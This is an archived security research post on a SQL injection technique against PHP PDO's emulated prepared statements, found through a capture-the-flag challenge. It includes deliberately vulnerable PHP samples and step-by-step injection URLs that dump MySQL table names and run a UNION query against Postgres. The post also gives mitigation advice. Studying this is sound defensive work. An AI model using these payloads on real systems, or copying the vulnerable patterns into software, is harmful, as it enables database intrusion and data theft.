

Novel SQL Injection Technique in PDO Prepared Statements

Novel SQL Injection Technique in PDO Prepared Statements - Adam Kues, @searchlightsec, Searchlight Cyber.

- Published: 2025-07-21
- Original: <<https://slcyber.io/research-center/a-novel-technique-for-sql-injection-in-pdos-prepared-statements/>>
- Preserved from: <https://slcyber.io/research-center/a-novel-technique-for-sql-injection-in-pdos-prepared-statements/> (live) on 2026-08-09
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so the page going offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

July 21, 2025

Security research

[Adam Kues](#)

A Novel Technique for SQL Injection in PDO's Prepared Statements

Over the weekend, the sixth edition of the [DownUnderCTF](#) capture-the-flag competition was held. I ([hashkitten](#)) contributed a single hard web challenge called 'legendary', which was solved by a single team. As part of the challenge, you had to exploit a seemingly impossible SQL injection, where everything was escaped correctly and PHP PDO prepared statements were used. The solution leverages a little-known technique, which I believe to be novel, and allows for injection in otherwise unexploitable scenarios. This technique is the subject of this blog post.

PHP PDO Prepared Statements 101

PDO is one of the most commonly used (if not the most common) libraries for connecting PHP services to databases. The usage is fairly simple and what you would expect:

```
<?php
$dsn = "mysql:host=127.0.0.1;dbname=demo";
$pdo = new PDO($dsn, 'root', '');

$stmt = $pdo->prepare('SELECT id, name, sku FROM fruit WHERE name = ?');
$stmt->execute([$_GET['name']]);
$data = $stmt->fetchAll(PDO::FETCH_ASSOC);
foreach($data as $v) {
    echo join(' : ', $v) . PHP_EOL;
}
```

Visiting the above service with the `name` parameter set to `apple`, you might get the response `1 : apple : FRU-APL`. As you would expect from a library utilizing prepared statements, this service is safe from SQL injection – no matter how many SQL injection payloads you try, you won't get any injection into this query.

What may surprise you, however, is exactly how PDO achieves this safety. You might reasonably assume that because it's called `prepare` and it looks like a prepared statement, that PDO is using MySQL's native prepared statement API here. However, this is not how this code is working. In fact, **PDO emulates all prepared statements in MySQL by default**. Unless you explicitly disable `PDO::ATTR_EMULATE_PREPARES` PDO will actually do all the escaping itself before your query even hits the database.

Attempting to emulate prepared statements presents PDO with a problem. Naively, you might expect that the underlying pseudocode for emulating prepared statements looks something like this:

```
for (char in stmt) {
    if (char is '?' or ':') {
        replace with escaped bound param
    }
}
```

However, this would quickly run into problems. If my statement was the following:

```
SELECT * FROM users where name = ? /* TODO: refactor this ? */
```

The simple logic above would see the question mark inside the comment and try and treat it as a bound parameter; this is obviously not what we wanted. PDO thus does something which may be surprising; it implements **its own SQL parser** for SQL statements that parses strings, table names and comments, to avoid accidentally binding parameters for question marks in them. As of PHP 8.4 a separate parser is used for each language. For example, the MySQL parser is implemented [here](#).

Of course, PDO does not implement a fully compliant parser, and there will be cases in which PDO misparses the statement. In fact, the PHP bug tracker is [littered with people complaining](#) about PDO treating question marks or colons as bound params when they shouldn't. Until 2019, PDO did not even have a way of escaping the question mark to fix this.

The security angle for this behavior is clear – if we can trick the PDO parser into parsing our input as a bound parameter where it shouldn't, we can get an SQLi in a situation that would otherwise be impossible. And as it turns out, there are several scenarios where this can happen.

The Impossible SQLi

One common scenario where user input appears in a prepare statement is column and table names. These can't be bound, so the developer is forced to insert them directly into the query. Consider the following code:

```
<?php
$dsn = "mysql:host=127.0.0.1;dbname=demo";
$pdo = new PDO($dsn, 'root', '');

$col = '`' . str_replace("'", '', $_GET['col']) . '`';

$stmt = $pdo->prepare("SELECT $col FROM fruit WHERE name = ?");
$stmt->execute([$_GET['name']]);
$data = $stmt->fetchAll(PDO::FETCH_ASSOC);
foreach($data as $v) {
    echo join(' : ', $v) . PHP_EOL;
}
```

This allows the user to choose the column they return. The `col` parameter is surrounded by backticks to indicate a column name, and backticks inside the column name are escaped too to prevent injection (many ORMs built on top of PDO implement something like this). You may consider a backslash to escape the column name, but this doesn't work; MySQL does not interpret backslashes in column names. It's clear from looking at it that you could, of course, provide an invalid column name and cause an error, but there's no real security impact. It would be tempting to conclude that this code is safe.

However, our code is being parsed by the PDO parser, so let's quickly look at how it sees this statement:

```

int pdo_mysql_scanner(pdo_scanner_t *s)
{
    const char *cursor = s->cur;

    s->tok = cursor;
    /*!re2c
    BINDCHR      = [:][a-zA-Z0-9_]+;
    QUESTION     = [?];
    COMMENTS     = ("/"*(["^*"]+|["*"]+["^/*"])*["*"]*"*/" | (("["--"["\t\w\f\r"]|["#"])*.)*);
    SPECIALS     = [:"'"/#-];
    MULTICHAR     = ([:]{2,}|[?]{2,});
    ANYNOEOF     = [\001-\377];
    */

    /*!re2c
        (["](["]|ANYNOEOF|ANYNOEOF\["])*["]) { RET(PDO_PARSER_TEXT); }
        ([']([']|ANYNOEOF|ANYNOEOF\['])*[']) { RET(PDO_PARSER_TEXT); }
        ([`]([`] | ANYNOEOF\[`])*[`])          { RET(PDO_PARSER_TEXT); }
        MULTICHAR                                { RET(PDO_PARSER_TEXT); }
        BINDCHR                                { RET(PDO_PARSER_BIND); }
        QUESTION                                { RET(PDO_PARSER_BIND_POS); }
        SPECIALS                                { SKIP_ONE(PDO_PARSER_TEXT); }
        COMMENTS                                { RET(PDO_PARSER_TEXT); }
        (ANYNOEOFSPECIALS)+                      { RET(PDO_PARSER_TEXT); }
    */
}

```

Our specific line we're interested in is:

```

([`]([`] | ANYNOEOF\[`])*[`])          { RET(PDO_PARSER_TEXT); }`

```

Where `ANYNOEOF` is defined as `[\001-\377]`. So what happens if we pass a null byte? Let's try:

```
http://localhost:8000/?name=x&col=%00
```

Fatal error: Uncaught PDOException: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in you

Hmm, we caused an error, but we didn't really achieve any sort of injection. What happens if we add a question mark?

```
http://localhost:8000/?name=x&col=?%00
```

```
Fatal error: Uncaught PDOException: SQLSTATE[HY093]: Invalid parameter number: number of bound variables does not match the number of parameters in the statement
```

Aha! We have injected a bound parameter that's being interpreted by PDO! What's going on under the hood? Well, consider the generated statement (with `\0` standing in for a literal NULL byte):

```
SELECT '?\0' FROM fruit WHERE name = ?
```

The PDO parser will first try and parse `?\0` as a column/table name. It will reach the null byte, and backtrack due to its parsing rules. Thus the backtick will instead fall back to the `SPECIALS` case, where it is ignored with `SKIP_ONE(PDO_PARSER_TEXT)`. Thus the PDO parser sees the first `?` as a bound parameter. The PDO parser will then continue to see `name = ?` as the second bound parameter, and throw an error, since we only passed one parameter and the parser expects two. Luckily, this hurdle is easily fixed, as if we add a comment after the question mark – `?#\0` – PDO will stop parsing after our bound parameter. Trying it, we get a new error:

```
http://localhost:8000/?name=x&col=?%23%00
```

```
Fatal error: Uncaught PDOException: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '?#\0' at line 1
```

Do you see that? Our original query is now:

```
SELECT '?#\0' FROM fruit WHERE name = ?
```

What PDO has done is substitute the question mark that we provided with our `name` parameter, indicating our injection has been successful! It results in a query as follows:

```
SELECT 'x#\0' FROM fruit WHERE name = ?
```

This is where it gets its error from. We can now place a backtick in place of the `x` to escape the table name, and a comment to end the query:

```
http://localhost:8000/?name=x`%23&col=?%23%00
```

```
Fatal error: Uncaught PDOException: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'x`%23' at line 1
```

We now face another problem – it may be unclear, but the error happens because a NULL byte cannot be anywhere in a MySQL comment. Is that a problem? No, we can just end the statement with a semicolon, and everything after is ignored:

```
http://localhost:8000/?name=x`;%23&col=?%23%00
```

Fatal error: Uncaught PDOException: SQLSTATE[42S22]: Column not found: 1054 Unknown column 'x' in 'field list'

Let's recap. What we have now, is a statement that looks like this:

```
SELECT `?#\0` FROM fruit WHERE name = ?
```

That after being prepared by PDO looks like this:

```
SELECT `x`;\#\0` FROM fruit WHERE name = ?  
/* (equivalent to) SELECT `x`; */
```

We have one more hurdle to overcome; the column name `x`` obviously does not exist. We can obviously use our injection to create a subquery, but we cannot name our column `x``. Why not? Remember, PDO still thinks that our injection point is in a string, so `'` will be escaped in our injection to `\``. This gives rise to our final trick – we can introduce a backslash before the `?` in the column name, so the resulting column name is `\x``. Since we can generate the column name `\x``, we can then inject a subquery to force MySQL not to error. Our final payload looks something like this:

```
http://localhost:8000/?name=x` FROM (SELECT table_name AS `x` from information_schema.tables)y;%23&col=\`%23%
```

```
innodb_table_stats  
innodb_index_stats  
CHARACTER_SETS  
CHECK_CONSTRAINTS  
COLLATIONS  
COLLATION_CHARACTER_SET_APPLICABILITY  
COLUMNS  
COLUMNS_EXTENSIONS  
COLUMN_STATISTICS  
EVENTS  
FILES  
INNODB_DATAFILES  
INNODB_FOREIGN  
...
```

And we can leak any data we want using a myriad of standard SQL injection techniques! What happened? Well, our injected PDO statement looked like:

```
SELECT `?#` FROM fruit WHERE name = ?
```

When the prepare was done, it resulted in:

```
SELECT `x` FROM (SELECT table_name AS `x` from information_schema.tables)y;#` FROM fruit WHERE name = ?
```

Note the inner `x` was escaped to ``x``, so the column matches that from the derived table `y`, and we get our injection!

It is important to be clear that this only happened because **PDO parsed our query incorrectly**. If we disable query emulation, or we instead escape `$_GET['name']` manually, the code is no longer exploitable.

You may wonder if this exploitation technique applies to other database engines; from my testing in PHP 8.4:

- MySQL is vulnerable by default to this behavior; unless explicitly setting `PDO::ATTR_EMULATE_PREPARES` to false.
- Postgres is not vulnerable to this behavior by default but is vulnerable if you turn emulation on with `PDO::ATTR_EMULATE_PREPARES => true`. This is actually pretty common as emulating prepares is often seen as a performance benefit. The only difference in the attack is to use `-` comments instead of `#` comments (which are MySQL specific) and of course double quotes for tables instead of the MySQL backtick.
- SQLite emulates by default but isn't vulnerable to this style of attack as null bytes will always cause a tokenization error.

Other Vulnerable Scenarios

This technique is not just limited to table and column names. If you have an injection into any part of a PDO query with null bytes, you can utilize the same ideas. Consider this contrived code:

```
<?php
$dsn = "mysql:host=127.0.0.1;dbname=demo";
$pdo = new PDO($dsn, 'root', '');

$sku = strtr($_GET['sku'], ['"' => '"', '\' => '\\']);

$stmt = $pdo->prepare("SELECT * FROM fruit WHERE sku LIKE '%$sku%' AND name = ?");
$stmt->execute([$_GET['name']]);
$data = $stmt->fetchAll(PDO::FETCH_ASSOC);
foreach($data as $v) {
    echo join(' : ', $v) . PHP_EOL;
}
```

Here, the developer has written their own escaping logic. It's unusual and not best practice, but it's not immediately exploitable. Maybe `sku LIKE '%$sku%'` is a manual fragment the developer has constructed and they have used an ORM for the rest, which is what results in the mixed use of escaping and PDO. Even injecting a null byte into `sku` will not cause an error. It's tempting to fuzz `0x00 – 0xff` and when nothing happens call it a day. However, only when you test the payload `?%00`, does the security hole reveal itself:

```
http://localhost:8000/mysql2.php?sku=?%00&name=apple
```

```
Fatal error: Uncaught PDOException: SQLSTATE[HY093]: Invalid parameter number: number of bound variables does not match the number of parameters in SQL
```

We can proceed to exploit it in the same way. Note that the inbuilt function `$pdo->quote` escapes null bytes, and defends against this particular attack.

Older PHP Versions are Much More Vulnerable

PHP 8.4 is actually much more resilient against these sort of attacks than older PHP versions. That is because PHP 8.4 was the first PHP version to use a [separate SQL scanner parser for each SQL dialect](#). In PHP 8.3 and earlier, PDO used a single parser regardless of SQL dialect, modeled after MySQL behavior. Here it is:


```

static int scan(Scanner *s)
{
    const char *cursor = s->cur;

    s->tok = cursor;
    /*!re2c
    BINDCHR      = [:][a-zA-Z0-9_]+;
    QUESTION     = [?];
    ESCQUESTION  = [?][?];
    COMMENTS     = ("/*"([^*]+|[*]+[^\/*])*[*]*"/" | "--"([^\r\n])*);
    SPECIALS     = [:"'"/];
    MULTICHAR     = [:]{2,};
    ANYNOEOF     = [\001-\377];
    */

    /*!re2c
    ([^"])([\\]ANYNOEOF|ANYNOEOF[\\])*[""] { RET(PDO_PARSER_TEXT); }
    ([^'])([\\]ANYNOEOF|ANYNOEOF[\\])*["'] { RET(PDO_PARSER_TEXT); }
    MULTICHAR                                     { RET(PDO_PARSER_TEXT); }
    ESCQUESTION                                   { RET(PDO_PARSER_ESCAPED_QUESTION); }
    BINDCHR                                       { RET(PDO_PARSER_BIND); }
    QUESTION                                     { RET(PDO_PARSER_BIND_POS); }
    SPECIALS                                     { SKIP_ONE(PDO_PARSER_TEXT); }
    COMMENTS                                     { RET(PDO_PARSER_TEXT); }
    (ANYNOEOF\SPECIALS)+                         { RET(PDO_PARSER_TEXT); }
    */
}

```

This scanner has a lot of problems. First is that it doesn't handle the MySQL backtick at all, which means in 8.3 and earlier, if you can smuggle a `:` or `?` into a table or column name, you get an injection. No null byte is even needed.

The second, and more serious, is that every string is assumed to be backslash escaped – even in engines like Postgres that do not support backslash escaped strings. This leads to SQL injection in scenarios that are very common and look secure. For example, consider this code below. Perhaps part of the code was generated by an ORM, and other parts by hand, but this in general is quite a common pattern:

```

<?php
$dsn = "pgsql:host=127.0.0.1;dbname=demo";
$pdo = new PDO($dsn, 'demo', '', [PDO::ATTR_EMULATE_PREPARES => true]);

$sku = $pdo->quote($_GET['sku']);

$stmt = $pdo->prepare("SELECT * FROM fruit WHERE sku = $sku AND name = ?");
$stmt->execute([$_GET['name']]);
$data = $stmt->fetchAll(PDO::FETCH_ASSOC);
foreach($data as $v) {
    echo join(' : ', $v) . PHP_EOL;
}

```

There seems to be no way this could possibly be vulnerable to SQL injection. One parameter is bound, which is safe. The other parameter is escaped using the inbuilt escaping function, which is also safe. How could this possibly be insecure?

Once you understand the PDO parser though, the solution becomes trivial; since PDO expects backslashes to escape characters, we can ‘fake out’ the PDO parser with a `\'` construction, and achieve an injection:

```
SELECT * FROM fruit WHERE sku = \'\'?\' AND name = ?
```

This is perfectly valid SQL for Postgres; however, the PDO parser falsely assumes the backslash escapes the single quote. Therefore the parser will see the string literal `\'`, followed by a `?` outside the string literal. We can follow exactly the same steps we did in the previous examples, and get injection like this:

```

http://localhost:8000/postgres2.php?sku=%27?--&name=UNION%20SELECT%201337,chr(33),1337,chr(33)--

1337 : ! : 1337 : !

```

So in this case, the PDO emulated query parser has taken a perfectly valid and safe query, and made it vulnerable, in a very common scenario. PHP 8.3 is not even EOL yet, and receives regular updates. Wild!

Summary

The lesson here is to **never mix manually constructed SQL fragments and bindings** when using PDO emulation. You are opening yourself up to a huge risk by doing so as a single misparse results in SQL injection. If you are a developer:

- Disable `PDO::ATTR_EMULATE_PREPARES` if possible;

- If not, ensure you are on the latest version (PHP 8.4) and you do not allow null bytes in your queries.

For hackers:

- Consider any use of query emulation (which is default on for MySQL) with suspicion.
- Carefully inspect any queries that mix user data and the prepare interface, even if everything seems properly escaped.
- Use payloads like `\?` and `?%00` to tease out SQL injection in scenarios that would otherwise go unnoticed.

There is much more you can do by attacking the parser, but I've outlined some of the most common and surprising scenarios where this technique can be used. Until next time!

About Assetnote

Searchlight Cyber's ASM solution, [Assetnote](#), provides industry-leading attack surface management and adversarial exposure validation solutions, helping organizations identify and remediate security vulnerabilities before they can be exploited. Customers receive security alerts and recommended mitigations simultaneously with any disclosures made to third-party vendors. Visit our [attack surface management page](#) to learn more about our platform and [the research we do](#).

in this article

Book your demo: Identify cyber threats earlier- before they impact your business

Searchlight Cyber is used by security professionals and leading investigators to surface criminal activity and protect businesses. Book your demo to find out how Searchlight can:

Enhance your security with advanced automated dark web monitoring and investigation tools

Continuously monitor for threats, including ransomware groups targeting your organization

Prevent costly cyber incidents and meet cybersecurity compliance requirements and regulations

Fill in the form to get you demo

Archived from <https://slcyber.io/research-center/a-novel-technique-for-sql-injection-in-pdos-prepared-statements/>.
Rendered offline from the local Markdown copy.